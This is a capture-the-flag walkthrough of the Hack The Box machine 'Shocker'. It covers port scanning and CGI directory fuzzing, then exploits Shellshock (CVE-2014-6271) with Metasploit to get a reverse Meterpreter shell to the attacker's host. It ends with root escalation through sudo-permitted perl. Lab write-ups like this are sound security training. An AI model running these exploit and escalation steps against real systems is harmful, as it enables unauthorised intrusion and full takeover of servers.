

Shocker (HTB)

ip of the machine :- 10.129.6.237

```
~/current Thu Oct 03 2024 08:21 pm (4.102s)
ping 10.129.6.237 -c 5

PING 10.129.6.237 (10.129.6.237) 56(84) bytes of data.
64 bytes from 10.129.6.237: icmp_seq=1 ttl=63 time=75.9 ms
64 bytes from 10.129.6.237: icmp_seq=2 ttl=63 time=74.6 ms
64 bytes from 10.129.6.237: icmp_seq=3 ttl=63 time=81.1 ms
64 bytes from 10.129.6.237: icmp_seq=4 ttl=63 time=78.4 ms
64 bytes from 10.129.6.237: icmp_seq=5 ttl=63 time=77.3 ms

--- 10.129.6.237 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 74.624/77.466/81.076/2.211 ms
```

machine is on!!!

```
~/current Thu Oct 03 2024 08:24 pm (9.759s)
nmap -p- --min-rate=10000 10.129.6.237

Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-03 20:24 IST
Nmap scan report for 10.129.6.237
Host is up (0.074s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE
80/tcp    open  http
2222/tcp  open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
```

Only two ports are open!!!

~/current Thu Oct 03 2024 08:24 pm (11.143s)

```
nmap -p 80,2222 -sC -A -Pn -n 10.129.6.237
```

Starting Nmap 7.95 (<https://nmap.org>) at 2024-10-03 20:24 IST

Nmap scan report for 10.129.6.237

Host is up (0.076s latency).

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

80/tcp	open	http	Apache httpd 2.4.18 ((Ubuntu))
--------	------	------	--------------------------------

_http-server-header: Apache/2.4.18 (Ubuntu)			
---	--	--	--

_http-title: Site doesn't have a title (text/html).			
---	--	--	--

2222/tcp	open	ssh	OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
----------	------	-----	--

ssh-hostkey:			
--------------	--	--	--

2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)			
--	--	--	--

256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)			
---	--	--	--

_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)			
---	--	--	--

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 11.12 seconds

So port 80 is running http as usual and port 2222 is running ssh.

```
.htaccess           [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 88ms]
.htpasswd           [Status: 403, Size: 296, Words: 22, Lines: 12, Duration: 88ms]
.hta                [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 88ms]
cgi-bin/            [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 76ms]
index.html          [Status: 200, Size: 137, Words: 9, Lines: 10, Duration: 75ms]
server-status       [Status: 403, Size: 300, Words: 22, Lines: 12, Duration: 77ms]
:: Progress: [4734/4734] :: Job [1/1] :: 526 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
```

Found some directories, All are 403 except one which is the default one "index.html". But still out of all "cgi-bin" seems different... Let's search something about it



Apache mod_cgi - 'Shellshock' Remote Command Injection

EDB-ID:

34900

CVE:

2014-6278 2014-6271

Author:

FEDERICO GALATOLO

Type:

REMOTE

EDB Verified: ✓

Exploit: ⬇️ / {}

Platform:

LINUX

Date:

2014-10-06

Vulnerable App:



So i came across this exploit for cgi-bin...

b4keSn4ke	Update README.md	8e4e604 · 2 years ago	
img	Increased attacked surface and a...	3 years ago	
README.md	Update README.md	2 years ago	
shellshock.py	Added Hostname resolver for RH...	3 years ago	

README

CVE-2014-6271 - Shellshock.py

Shellshock exploit aka CVE-2014-6271.
Tested on Bash 3.2 and Bash 4.2.
For more information about the vulnerability visit : <https://nvd.nist.gov/vuln/detail/CVE-2014-6271>

Note

About

Shellshock exploit aka CVE-2014-6271

- python bash exploit
- apache python3 shellshock
- poc rce
- shellshock-vulnerability
- remote-code-execution

Readme

Activity

12 stars

1 watching

2 forks

Report repository

Languages

Python 100.0%

The exploit was mainly tested on **Hack The Box** in the following boxes:

- Beep box : <https://app.hackthebox.eu/machines/Beep>
- Shocker box : <https://app.hackthebox.eu/machines/Shocker>

This exploit will only work on web servers having a version of Bash < 4.3.

In some cases, if you are able to get a HTTP 200 code on your web browser by doing a GET request to the `/cgi-bin/`, you could just try to run the exploit

So exploit-db exploit was not working even after fixing errors in the exploit, so searched for new exploit with the CVE and found one.

Again this exploit not working some how so learned about the CVE more and then it said that there should be a script whether .sh, .cgi or .ps1 in cgi-bin directory which can be then further exploited by adding payload through exploits to get the rev shell, so thought of doing directory fuzzing again in `/cgi-bin/` to see whether we can find any script to exploit or not.

Type	Found	Response ^	Size
Dir	/	200	395
File	/cgi-bin/user.sh	200	141
File	/.htpasswd.ps1	403	472
File	/.htaccess.ps1	403	472
File	/.htpasswd	403	472

So used dirbuster for recursive directory fuzzing and found user.sh with 200 status code, let's see it...

```
← → ↻ 10.129.6.237/cgi-bin/user.sh

Content-Type: text/plain

Just an uptime test script

11:22:56 up 34 min,  0 users,  load average: 0.25, 0.22, 0.09
```

Just an uptime test script, now let's use exploit because now we know the correct path that it is not `/cgi-bin/` but `/cgi-bin/user.sh`.

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
```

```
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):
```

Name	Current Setting	Required	Description
----	-----	-----	-----
CMD_MAX_LENGTH	2048	yes	CMD max line length
CVE	CVE-2014-6271	yes	CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
HEADER	User-Agent	yes	HTTP header to use
METHOD	GET	yes	HTTP method to use
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPATH	/bin	yes	Target PATH for binaries used by the CmdStager
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TARGETURI		yes	Path to CGI script
TIMEOUT	5	yes	HTTP read response timeout (seconds)
URIPATH		no	The URI to use for this exploit (default is random)
VHOST		no	HTTP server virtual host

When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name	Current Setting	Required	Description
----	-----	-----	-----
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all↓

So using a metasploit module for this and set options.

View the full module info with the info, or info -d command.

```
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/user.sh
TARGETURI => /cgi-bin/user.sh
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 10.129.6.237
RHOSTS => 10.129.6.237
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST 10.10.14.13
LHOST => 10.10.14.13
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Command Stager progress - 100.00% done (1092/1092 bytes)
[*] Sending stage (1017704 bytes) to 10.129.6.237
[*] Meterpreter session 1 opened (10.10.14.13:4444 -> 10.129.6.237:37176) at 2024-10-03 20:55:44 +0530

meterpreter > ls
Listing: /usr/lib/cgi-bin
=====

Mode                Size  Type  Last modified          Name
----                -
100755/rwxr-xr-x  113   fil   2017-09-23 00:59:26 +0530 user.sh

meterpreter > █
```

After setting options enter "exploit" and a meterpreter session will be opened.

```
meterpreter > shell
Process 1620 created.
Channel 1 created.
python3 -c 'import pty; pty.spawn("/bin/bash")'
\shelly@Shocker:/usr/lib/cgi-bin$ █
```

Type shell and then above python script to get an actual shell instead of using meterpreter shell.

```
shelly@Shocker:/$ cd /home
cd /home
shelly@Shocker:/home$ ls
ls
shelly
shelly@Shocker:/home$ cd shelly
cd shelly
shelly@Shocker:~$ ls
ls
user.txt
shelly@Shocker:~$ cat user.txt
cat user.txt
```

So went to /home directory and found one user "shelly" over there and got our first flag.

```
shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/s

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
```

I just realized that i had shell as user "shelly" only, so did "sudo -l" and saw that user can run /usr/bin/perl as root user.

Sudo

If the binary is allowed to run as super user, we can use it to access the file system, escalate or maintain access.

```
sudo perl -e 'exec "/bin/sh";'
```

So will be using this command from GTF0bins in order to escalate privileges.

```
shelly@Shocker:~$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
sudo /usr/bin/perl -e 'exec "/bin/sh";'
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
cd /root
# cat root.txt
cat root.txt
```

Escalated privileges and got the last flag.